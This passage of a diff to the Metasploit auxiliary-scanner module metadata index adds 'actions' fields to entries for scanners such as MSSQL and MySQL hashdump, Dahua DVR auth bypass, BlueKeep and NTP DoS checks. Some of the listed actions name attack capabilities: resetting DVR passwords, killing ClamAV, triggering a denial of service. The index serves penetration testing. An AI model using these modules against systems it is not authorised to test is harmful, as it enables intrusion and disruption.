+ + ] }, "auxiliary_scanner/memcached/memcached_amp": { "name": "Memcached Stats Amplification Scanner", @@ -41119,7 +45099,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/memcached/memcached_udp_version": { "name": "Memcached UDP Version Scanner", @@ -41157,7 +45140,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/cctv_dvr_login": { "name": "CCTV DVR Login Scanning Utility", @@ -41195,7 +45181,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/cisco_smart_install": { "name": "Identify Cisco Smart Install endpoints", @@ -41238,7 +45227,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "DOWNLOAD", + "description": "Retrieve configuration via Smart Install Protocol" + }, + { + "name": "SCAN", + "description": "Scan for instances communicating via Smart Install Protocol (default)" + } + ] }, "auxiliary_scanner/misc/clamav_control": { "name": "ClamAV Remote Command Transmitter", @@ -41279,7 +45278,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "SHUTDOWN", + "description": "Kills ClamAV Daemon" + }, + { + "name": "VERSION", + "description": "Get Version Information" + } + ] }, "auxiliary_scanner/misc/dahua_dvr_auth_bypass": { "name": "Dahua DVR Auth Bypass Scanner", @@ -41321,7 +45330,45 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "CHANNEL", + "description": "Obtain the channel/camera information from the DVR" + }, + { + "name": "DDNS", + "description": "Obtain the DDNS settings from the DVR" + }, + { + "name": "EMAIL", + "description": "Obtain the email settings from the DVR" + }, + { + "name": "GROUP", + "description": "Obtain the group information the DVR" + }, + { + "name": "NAS", + "description": "Obtain the NAS settings from the DVR" + }, + { + "name": "RESET", + "description": "Reset an existing user's password on the DVR" + }, + { + "name": "SERIAL", + "description": "Obtain the serial number from the DVR" + }, + { + "name": "USER", + "description": "Obtain the user information from the DVR" + }, + { + "name": "VERSION", + "description": "Obtain the version of the DVR" + } + ] }, "auxiliary_scanner/misc/dvr_config_disclosure": { "name": "Multiple DVR Manufacturers Configuration Disclosure", @@ -41370,7 +45417,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/easycafe_server_fileaccess": { "name": "EasyCafe Server Remote File Access", @@ -41409,7 +45459,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/freeswitch_event_socket_login": { "name": "FreeSWITCH Event Socket Login", @@ -41456,7 +45509,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/ib_service_mgr_info": { "name": "Borland InterBase Services Manager Information", @@ -41495,7 +45551,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/ibm_mq_channel_brute": { "name": "IBM WebSphere MQ Channel Name Bruteforce", @@ -41533,7 +45592,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/ibm_mq_enum": { "name": "Identify Queue Manager Name and MQ Version", @@ -41571,7 +45633,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/ibm_mq_login": { "name": "IBM WebSphere MQ Login Check", @@ -41609,7 +45674,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/java_jmx_server": { "name": "Java JMX Server Insecure Endpoint Code Execution Scanner", @@ -41649,7 +45717,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/java_rmi_server": { "name": "Java RMI Server Insecure Endpoint Code Execution Scanner", @@ -41690,7 +45761,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/oki_scanner": { "name": "OKI Printer Default Login Credential Scanner", @@ -41728,7 +45802,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/poisonivy_control_scanner": { "name": "Poison Ivy Command and Control Scanner", @@ -41766,7 +45843,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/raysharp_dvr_passwords": { "name": "Ray Sharp DVR Password Retriever", @@ -41805,7 +45885,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/rocketmq_version": { "name": "Apache RocketMQ Version Scanner", @@ -41854,7 +45937,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/rosewill_rxs3211_passwords": { "name": "Rosewill RXS-3211 IP Camera Password Retriever", @@ -41892,7 +45978,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/sercomm_backdoor_scanner": { "name": "SerComm Network Device Backdoor Detection", @@ -41933,7 +46022,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/sunrpc_portmapper": { "name": "SunRPC Portmap Program Enumerator", @@ -41971,7 +46063,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/misc/zenworks_preboot_fileaccess": { "name": "Novell ZENworks Configuration Management Preboot Service Remote File Access", @@ -42012,7 +46107,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mongodb/mongodb_login": { "name": "MongoDB Login Utility", @@ -42051,7 +46149,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/motorola/timbuktu_udp": { "name": "Motorola Timbuktu Service Detection", @@ -42089,7 +46190,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mqtt/connect": { "name": "MQTT Authentication Scanner", @@ -42128,7 +46232,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msf/msf_rpc_login": { "name": "Metasploit RPC Interface Login Utility", @@ -42166,7 +46273,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msf/msf_web_login": { "name": "Metasploit Web Interface Login Utility", @@ -42214,7 +46324,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msmail/exchange_enum": { "name": "Exchange email enumeration", @@ -42258,7 +46371,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msmail/host_id": { "name": "Vulnerable domain identification", @@ -42302,7 +46418,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msmail/onprem_enum": { "name": "On premise user enumeration", @@ -42346,7 +46465,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/msmq/cve_2023_21554_queuejumper": { "name": "CVE-2023-21554 - QueueJumper - MSMQ RCE Check", @@ -42400,7 +46522,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mssql/mssql_hashdump": { "name": "MSSQL Password Hashdump", @@ -42446,7 +46571,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mssql/mssql_login": { "name": "MSSQL Login Utility", @@ -42492,7 +46620,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mssql/mssql_ping": { "name": "MSSQL Ping Utility", @@ -42538,7 +46669,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mssql/mssql_schemadump": { "name": "MSSQL Schema Dump", @@ -42584,7 +46718,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_authbypass_hashdump": { "name": "MySQL Authentication Bypass Password Dump", @@ -42625,7 +46762,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_file_enum": { "name": "MYSQL File/Directory Enumerator", @@ -42664,7 +46804,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_hashdump": { "name": "MYSQL Password Hashdump", @@ -42702,7 +46845,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_login": { "name": "MySQL Login Utility", @@ -42740,7 +46886,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_schemadump": { "name": "MYSQL Schema Dump", @@ -42778,7 +46927,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_version": { "name": "MySQL Server Version Enumeration", @@ -42816,7 +46968,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/mysql/mysql_writable_dirs": { "name": "MYSQL Directory Write Test", @@ -42854,7 +47009,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/natpmp/natpmp_portscan": { "name": "NAT-PMP External Port Scanner", @@ -42892,7 +47050,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nessus/nessus_ntp_login": { "name": "Nessus NTP Login Utility", @@ -42930,7 +47091,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nessus/nessus_rest_login": { "name": "Nessus RPC Interface Login Utility", @@ -42977,7 +47141,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nessus/nessus_xmlrpc_login": { "name": "Nessus XMLRPC Interface Login Utility", @@ -43024,7 +47191,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nessus/nessus_xmlrpc_ping": { "name": "Nessus XMLRPC Interface Ping Utility", @@ -43071,7 +47241,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/netbios/nbname": { "name": "NetBIOS Information Discovery", @@ -43109,7 +47282,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nexpose/nexpose_api_login": { "name": "NeXpose API Interface Login Utility", @@ -43156,7 +47332,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nfs/nfsmount": { "name": "NFS Mount Scanner", @@ -43196,7 +47375,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/nntp/nntp_login": { "name": "NNTP Login Utility", @@ -43237,7 +47419,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_monlist": { "name": "NTP Monitor List Scanner", @@ -43278,7 +47463,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_nak_to_the_future": { "name": "NTP \"NAK to the Future\"", @@ -43320,7 +47508,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_peer_list_dos": { "name": "NTP Mode 7 PEER_LIST DoS Scanner", @@ -43360,7 +47551,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_peer_list_sum_dos": { "name": "NTP Mode 7 PEER_LIST_SUM DoS Scanner", @@ -43400,7 +47594,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_readvar": { "name": "NTP Clock Variables Disclosure", @@ -43440,7 +47637,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_req_nonce_dos": { "name": "NTP Mode 6 REQ_NONCE DRDoS Scanner", @@ -43480,7 +47680,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_reslist_dos": { "name": "NTP Mode 7 GET_RESTRICT DRDoS Scanner", @@ -43520,7 +47723,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/ntp/ntp_unsettrap_dos": { "name": "NTP Mode 6 UNSETTRAP DRDoS Scanner", @@ -43560,7 +47766,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/openvas/openvas_gsad_login": { "name": "OpenVAS gsad Web Interface Login Utility", @@ -43607,7 +47816,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/openvas/openvas_omp_login": { "name": "OpenVAS OMP Login Utility", @@ -43645,7 +47857,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/openvas/openvas_otp_login": { "name": "OpenVAS OTP Login Utility", @@ -43683,7 +47898,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/emc_sid": { "name": "Oracle Enterprise Manager Control SID Discovery", @@ -43730,7 +47948,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/isqlplus_login": { "name": "Oracle iSQL*Plus Login Utility", @@ -43778,7 +47999,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/isqlplus_sidbrute": { "name": "Oracle iSQLPlus SID Check", @@ -43826,7 +48050,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/oracle_hashdump": { "name": "Oracle Password Hashdump", @@ -43864,7 +48091,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/oracle_login": { "name": "Oracle RDBMS Login Utility", @@ -43905,7 +48135,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/sid_brute": { "name": "Oracle TNS Listener SID Bruteforce", @@ -43943,7 +48176,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/sid_enum": { "name": "Oracle TNS Listener SID Enumeration", @@ -43982,7 +48218,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/spy_sid": { "name": "Oracle Application Server Spy Servlet SID Enumeration", @@ -44029,7 +48268,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/tnslsnr_version": { "name": "Oracle TNS Listener Service Version Query", @@ -44067,7 +48309,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/tnspoison_checker": { "name": "Oracle TNS Listener Checker", @@ -44106,7 +48351,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/xdb_sid": { "name": "Oracle XML DB SID Discovery", @@ -44153,7 +48401,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/oracle/xdb_sid_brute": { "name": "Oracle XML DB SID Discovery via Brute Force", @@ -44201,7 +48452,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/pcanywhere/pcanywhere_login": { "name": "PcAnywhere Login Scanner", @@ -44239,7 +48493,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/pcanywhere/pcanywhere_tcp": { "name": "PcAnywhere TCP Service Discovery", @@ -44277,7 +48534,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/pcanywhere/pcanywhere_udp": { "name": "PcAnywhere UDP Service Discovery", @@ -44315,7 +48575,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/pop3/pop3_login": { "name": "POP3 Login Utility", @@ -44354,7 +48617,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/pop3/pop3_version": { "name": "POP3 Banner Grabber", @@ -44392,7 +48658,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portmap/portmap_amp": { "name": "Portmapper Amplification Scanner", @@ -44432,7 +48701,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portscan/ack": { "name": "TCP ACK Firewall Scanner", @@ -44470,7 +48742,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portscan/ftpbounce": { "name": "FTP Bounce Port Scanner", @@ -44509,7 +48784,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portscan/syn": { "name": "TCP SYN Port Scanner", @@ -44547,7 +48825,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portscan/tcp": { "name": "TCP Port Scanner", @@ -44586,7 +48867,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/portscan/xmas": { "name": "TCP \"XMas\" Port Scanner", @@ -44624,7 +48908,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/postgres/postgres_dbname_flag_injection": { "name": "PostgreSQL Database Name Command Line Flag Injection", @@ -44663,7 +48950,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/postgres/postgres_hashdump": { "name": "Postgres Password Hashdump", @@ -44701,7 +48991,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/postgres/postgres_login": { "name": "PostgreSQL Login Utility", @@ -44741,7 +49034,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/postgres/postgres_schemadump": { "name": "Postgres Schema Dump", @@ -44779,7 +49075,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/postgres/postgres_version": { "name": "PostgreSQL Version Probe", @@ -44817,7 +49116,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/canon_iradv_pwd_extract": { "name": "Canon IR-Adv Password Extractor", @@ -44867,7 +49169,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_delete_file": { "name": "Printer File Deletion Scanner", @@ -44909,7 +49214,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_download_file": { "name": "Printer File Download Scanner", @@ -44951,7 +49259,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_env_vars": { "name": "Printer Environment Variables Scanner", @@ -44993,7 +49304,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_list_dir": { "name": "Printer Directory Listing Scanner", @@ -45035,7 +49349,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_list_volumes": { "name": "Printer Volume Listing Scanner", @@ -45077,7 +49394,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_ready_message": { "name": "Printer Ready Message Scanner", @@ -45119,7 +49439,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Change", + "description": "Change ready message" + }, + { + "name": "Reset", + "description": "Reset ready message" + }, + { + "name": "Scan", + "description": "Scan for ready messages" + } + ] }, "auxiliary_scanner/printer/printer_upload_file": { "name": "Printer File Upload Scanner", @@ -45161,7 +49495,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/printer/printer_version_info": { "name": "Printer Version Information Scanner", @@ -45203,7 +49540,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/quake/server_info": { "name": "Gather Quake Server Information", @@ -45241,7 +49581,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "info", + "description": "Use the getinfo command" + }, + { + "name": "status", + "description": "Use the getstatus command" + } + ] }, "auxiliary_scanner/rdp/cve_2019_0708_bluekeep": { "name": "CVE-2019-0708 BlueKeep Microsoft Remote Desktop RCE Check", @@ -45290,7 +49640,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Crash", + "description": "Trigger denial of service vulnerability" + }, + { + "name": "Scan", + "description": "Scan for exploitable targets" + } + ] }, "auxiliary_scanner/rdp/ms12_020_check": { "name": "MS12-020 Microsoft Remote Desktop Checker", @@ -45333,7 +49693,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rdp/rdp_scanner": { "name": "Identify endpoints speaking the Remote Desktop Protocol (RDP)", @@ -45380,7 +49743,10 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/redis/file_upload": { "name": "Redis File Upload", @@ -45421,7 +49787,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/redis/redis_login": { "name": "Redis Login Utility", @@ -45459,7 +49828,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/redis/redis_server": { "name": "Redis Command Execute Scanner", @@ -45498,7 +49870,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rogue/rogue_recv": { "name": "Rogue Gateway Detection: Receiver", @@ -45536,7 +49911,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rogue/rogue_send": { "name": "Rogue Gateway Detection: Sender", @@ -45574,7 +49952,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rservices/rexec_login": { "name": "rexec Authentication Scanner", @@ -45613,7 +49994,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rservices/rlogin_login": { "name": "rlogin Authentication Scanner", @@ -45652,7 +50036,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rservices/rsh_login": { "name": "rsh Authentication Scanner", @@ -45691,7 +50078,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/rsync/modules_list": { "name": "List Rsync Modules", @@ -45731,7 +50121,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sage/x3_adxsrv_login": { "name": "Sage X3 AdxAdmin Login Scanner", @@ -45769,7 +50162,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_ctc_verb_tampering_user_mgmt": { "name": "SAP CTC Service Verb Tampering User Management", @@ -45818,7 +50214,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_hostctrl_getcomputersystem": { "name": "SAP Host Agent Information Disclosure", @@ -45870,7 +50269,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_icf_public_info": { "name": "SAP ICF /sap/public/info Service Sensitive Information Gathering", @@ -45919,7 +50321,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_icm_urlscan": { "name": "SAP URL Scanner", @@ -45966,7 +50371,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_abaplog": { "name": "SAP Management Console ABAP Syslog Disclosure", @@ -46014,7 +50422,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_brute_login": { "name": "SAP Management Console Brute Force", @@ -46062,7 +50473,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_extractusers": { "name": "SAP Management Console Extract Users", @@ -46110,7 +50524,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_getaccesspoints": { "name": "SAP Management Console Get Access Points", @@ -46158,7 +50575,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_getenv": { "name": "SAP Management Console getEnvironment", @@ -46206,7 +50626,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_getlogfiles": { "name": "SAP Management Console Get Logfile", @@ -46255,7 +50678,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_getprocesslist": { "name": "SAP Management Console GetProcessList", @@ -46304,7 +50730,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_getprocessparameter": { "name": "SAP Management Console Get Process Parameters", @@ -46352,7 +50781,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_scanner/sap/sap_mgmt_con_instanceproperties": { "name": "SAP Management Console Instance Properties", @@ -46400,7 +50832,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + 